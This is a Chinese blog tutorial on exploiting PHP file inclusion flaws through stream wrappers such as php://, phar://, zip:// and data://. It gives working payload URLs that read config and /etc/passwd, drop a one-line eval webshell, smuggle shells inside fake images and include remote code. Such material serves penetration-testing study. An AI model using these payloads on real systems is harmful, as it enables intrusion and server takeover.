LFI以及RFI(文件包含)伪协议利用小技巧

包含文件的函数

  • require
  • include
  • require_once
  • include_once
  • 包含函数一共有4个,主要作用为包含并允许指定文件。
    比如include($file),当$file变量可控的情况下,我们就可以包含任意文件,从而达到getshell的目的。
    在不同的配置环境下,可以包含不同的文件。因此又分为远程文件包含和本地文件包含。
    在allow_url_include = On以及allow_url_fopen = On时,允许远程包含文件,而默认情况下allow_url_include = Off
    PHP.ini:
    在php5.2以上,allow_url_fopen :on 默认开启,allow_url_include:off 默认关闭
    文件包含是否支持%00截断取决于:PHP版本<=5.2 可以使用%00进行截断。

php伪协议

php的伪协议有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zip:// - 压缩流
bzip2:// - 压缩流
zlib:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
glob:// — 查找匹配的文件路径模式
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

常用的伪协议:

1
2
3
4
5
6
7
php:// — 访问各个输入/输出流(I/O streams)
file:// — 访问本地文件系统
phar:// — PHP 归档
zip:// — 压缩流
data:// — 数据(RFC 2397)
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs

php://协议

1
2
php://filter
php://input

php://filter用于读取源码,php://input用于执行php代码。

php://filter:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取文件源代码并进行base64编码输出。

1
2
http://www.inc.com/inc.php?file=php://filter/read=convert.base64-encode/resource=./config/db.php
输出:PD9waHAgDQokY29uPW15c3FsaV9jb25uZWN0KCJsb2NhbGhvc3QiLCJyb290Iiwicm9vdCIsImRiIik7IA0KaWYgKCEkY29uKSANCnsgDQogICAgZGllKCLov57mjqXplJnor686ICIgLiBteXNxbGlfY29ubmVjdF9lcnJvcigpKTsgDQp9IA0K

将base64解码就可以看到db.php文件内容

php://input:访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的
写入一句话

1
2
3
4
5
http://www.inc.com/inc.php?file=php://input
post数据:
<?php
echo file_put_contents("test.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NjJ10pPz4="));
?>

file://协议

file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。

1
http://www.inc.com/inc.php?file=file:///etc/passwd

phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。

1
2
3
利用方式:写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
shell.php->shell.zip->shell.jpg->upload->phar://shell.jpg/shell.php
http://www.inc.com/inc.php?file=phar://shell.jpg/shell.php

zip://协议

zip://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,,类似phar://,使用如下:
利用方式:

1
2
3
写入一句话shell.php -> 压缩为shell.zip -> 修改后缀为shell.jpg ->上传到网站 -> phar://shell.jpg/shell.php
shell.php->shell.zip->shell.jpg->upload->phar://shell.jpg%23shell.php // %23 == #
http://www.inc.com/inc.php?file=zip://./shell.jpg%23shell.php

bzip2://协议 && zlib://

bzip2://协议 && zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用:

1
2
3
4
5
6
7
compress.bzip2://file.bz2 	//处理的是 '.bz2' 后缀的压缩包
http://www.inc.com/inc.php?file=compress.bzip2://D:/soft/phpStudy/WWW/shell.jpg
http://www.inc.com/inc.php?file=compress.bzip2://./shell.jpg

compress.zlib://file.gz //处理的是 '.gz' 后缀的压缩包
http://www.inc.com/inc.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
http://www.inc.com/inc.php?file=compress.zlib://./file.jpg

data://协议

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用:

1
2
3
4
5
http://www.inc.com/inc.php?file=data://text/plain,<?php phpinfo()?>
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data:text/plain,<?php phpinfo()?>
http://www.inc.com/inc.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://www.inc.com/inc.php?file=data://text/plain;base64,PD9waHAgZWNobyBmaWxlX3B1dF9jb250ZW50cygidGVzdC5waHAiLGJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2tYMUJQVTFSYkoyTmpKMTBwUHo0PSIpKTs/Pg==

http:// && ftp://

http:// && ftp:// 需满足allow_url_fopen,allow_url_include同时开启才能使用,可访问内网主机主机

1
2
3
?file=[http|https|ftp]://xxx/file.txt[?%23]	远程代码执行
?file=[http|https|ftp]://xxx/file 利用XSS执行任意代码
?file=http://xxx/xss.php?xss=phpcode 远程代码执行


参考:
http://www.freebuf.com/column/148886.html
https://www.jianshu.com/p/0a8339fcc269

本文标题:LFI以及RFI(文件包含)伪协议利用小技巧

文章作者:smelond

发布时间:2018年09月04日 - 10:09

最后更新:2018年09月04日 - 16:09

原始链接:http://smelond.com/2018/09/04/LFI以及RF(文件包含)伪协议利用小技巧/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

分享